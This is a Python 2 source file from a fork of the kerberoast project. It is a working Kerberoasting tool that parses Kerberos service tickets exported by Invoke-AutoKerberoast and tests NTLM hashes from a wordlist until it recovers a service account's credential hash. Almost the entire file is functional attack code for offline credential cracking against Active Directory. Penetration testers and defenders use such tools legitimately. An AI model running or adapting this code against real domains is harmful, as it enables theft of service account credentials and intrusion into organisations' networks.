forked from nidem/kerberoast
/
autoTGS_NtlmCrack.py
149 lines (118 loc) · 5.21 KB
/
autoTGS_NtlmCrack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
# Note: This heavily based off tgsrepcrack.py with modifications to take input from the Invoke-Autokerberoast function output and use a wordlist of NTLM hashes instead of passwords
# Based on the Kerberoast script from Tim Medin to extract the Kerberos tickets
# from a kirbi file.
# Modification to parse them into the JTR-format by Michael Kramer (SySS GmbH)
# Copyright [2015] [Tim Medin, Michael Kramer]
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License
from pyasn1.codec.ber import encoder, decoder
from multiprocessing import JoinableQueue, Manager
import kerberos, glob, sys, base64, binascii
# This will separate out the list of all tickets into an array of individual tickets
def parseTickets(allTickets):
magicString1 = "Base64 encoded Kerberos ticket for "
magicString2 = ":::do"
ticketArray = []
labelArray = []
failedTicketLabelArray = []
if ( allTickets[:len(magicString1)] != magicString1 ):
print "ERROR: Ticket file must start with string \"Base64 encoded Kerberos ticket for\" from Invoke-AutoKerberoast Output."
exit(1)
combinedArray = allTickets.split(magicString1)
combinedArray = combinedArray[1:]
count = 0
for i in combinedArray:
count += 1
try:
magicString2Location = i.index(magicString2)
labelArray.append("ID#"+str(count)+"_"+str(i[:magicString2Location]))
ticketArray.append(str(i[(magicString2Location+3):]))
except:
#print "DEBUG\n" + str(i) + "DEBUG\n\n"
endOfNameLocation = i.index(":::")
failedTicketLabelArray.append("ID#"+str(count)+"_"+str(i[:endOfNameLocation]))
return ticketArray, labelArray, failedTicketLabelArray
# Attempt to crack base64 encoded ticket using NTLM hashes. Label should be describe where the ticket came from, e.g. "MSSQLSvc/SQLBOX.RESTRICTED.TESTLAB.LOCAL:1433"
def crackTicket(ticket, label, hashList):
try:
data = base64.b64decode(ticket)
except:
#print "DEBUG\n" + str(ticket) + "DEBUG\n\n"
return "FAIL" + str(label) + "\n"
manager = Manager()
enctickets = manager.list()
if data[0] == '\x76':
try:
enctickets.append((str(decoder.decode(data)[0][2][0][3][2])))
except:
#print "DEBUG\n" + str(ticket) + "DEBUG\n\n"
return "FAIL" + str(label)
elif data[:2] == '6d':
for ticket in data.strip().split('\n'):
try:
enctickets.append((str(decoder.decode(ticket.decode('hex'))[0][4][3][2])))
except:
#print "DEBUG\n" + str(ticket) + "DEBUG\n\n"
return "FAIL" + str(label)
print "\nAccount: " + label
for currentHash in hashList:
ntlmHash_hex = binascii.unhexlify(currentHash)
kdata, nonce = kerberos.decrypt(ntlmHash_hex, 2, enctickets[0])
if kdata:
print "NTLM Hash: " + currentHash
break
return ""
def main():
if len(sys.argv) < 3 or len(sys.argv) > 4:
print 'USAGE: python ./autoNTLMcrack.py <ticketsFile.txt> <NTLM_wordlist.txt>\n\tNote: Tickets file should be the output of Invoke-AutoKerberoast, starting with \'Base64 encoded Kerberos ticket for...\''
print 'OPTIONAL USAGE: python ./autoNTLMcrack.py <ticketsFile.txt> <NTLM_wordlist.txt> MASK\n\tNote: placing the word MASK as the forth argument will replace the username/SPN caption with numeric values'
exit(1)
hashcatTickets = ""
failedDecodeTicketLabelArray = []
ticketsFileName = sys.argv[1]
HashFileName = sys.argv[2]
maskNames = False
if (len(sys.argv) == 4) and (str(sys.argv[3]).upper() == "MASK"):
maskNames = True
ticketsFile = open(ticketsFileName, 'r')
ticketsFileString = ticketsFile.read()
ticketsFileString = ticketsFileString.replace('[+] received output:','')
ticketsFileString = ticketsFileString.replace('received output:','')
ticketsFileString = ticketsFileString.replace('\n','')
HashFile = open(HashFileName, 'r')
hashList = HashFile.read().split('\n')
ticketArray, labelArray, failedRequestTicketLabelArray = parseTickets(ticketsFileString)
if (maskNames == True):
for i in range(len(labelArray)):
maskedLabel = str(labelArray[i])
maskedLabelCutOffLoc = maskedLabel.index("_")+1
labelArray[i] = maskedLabel[:maskedLabelCutOffLoc]
for i in range(len(failedRequestTicketLabelArray)):
maskedLabel = str(failedRequestTicketLabelArray[i])
maskedLabelCutOffLoc = maskedLabel.index("_")+1
failedRequestTicketLabelArray[i] = maskedLabel[:maskedLabelCutOffLoc]
for i in range(len(ticketArray)):
parsedTicket = crackTicket(ticketArray[i], labelArray[i], hashList)
if parsedTicket[0:4] == "FAIL":
failedDecodeTicketLabelArray.append(str(parsedTicket)[4:])
else:
hashcatTickets += parsedTicket
print hashcatTickets
if len(failedRequestTicketLabelArray) > 0:
print "\nWARNING: unable to REQUEST tickets for:"
print str(failedRequestTicketLabelArray)
if len(failedDecodeTicketLabelArray) > 0:
print "\nWARNING: unable to DECODE tickets for:"
print str(failedDecodeTicketLabelArray)
if __name__ == '__main__':
main()